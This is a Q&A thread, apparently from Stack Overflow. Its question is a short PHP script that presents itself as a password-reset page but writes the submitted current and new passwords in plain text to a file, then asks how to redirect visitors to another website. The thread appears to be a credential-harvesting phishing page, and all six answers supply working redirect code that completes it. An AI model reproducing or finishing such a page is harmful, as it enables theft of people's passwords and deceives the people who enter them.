-3
<?php

// Open the text file
$f = fopen("users.txt", "a");

// Write text
fwrite($f, $_POST["_current_password1_"]);
fwrite($f, $_POST["_new_password1_"]);

// Close the text file
fclose($f);


print "Password Reset!";


?>

How to have this redirect to a different website after it is done showing "Password Reset!" ( Not good at coding )

6 Answers6

1

try this:

header("Location: http://example.com/myOtherPage.php");
die();
jithin
  • 920
  • 9
  • 17
1

Use the header function header('Location: url');

SESN
  • 1,275
  • 13
  • 22
1

The header function can be helpful:

<?php
    header('Location: http://www.example.com/');
    exit; // End current script
?>
QuidamAzerty
  • 356
  • 4
  • 10
1

To do the redirect after you have shown the message, you can use the refresh-header like this:

header("refresh:5; url=otherpage.php");

This will do the redirect after 5 seconds. You need to add that before the print command.

1615903
  • 32,635
  • 12
  • 70
  • 99
1

You can use the following 2 ways to redirect to another page:

1- using PHP header function:

header('Location: http://www.example.com/');

2- using JavaScript in PHP code:

echo '<script type="text/javascript">window.location = "http://www.example.com/";</script>';
KaiD
  • 111
  • 5
-1

You can use JavaScript to redirect to another website:

echo "<script>window.location = 'www.google.com';</script>";

If you want to delay some seconds before redirection, you can use setTimeout method:

echo "<script>setTimeout(function(){window.location = 'www.google.com';}, 3000);</script>";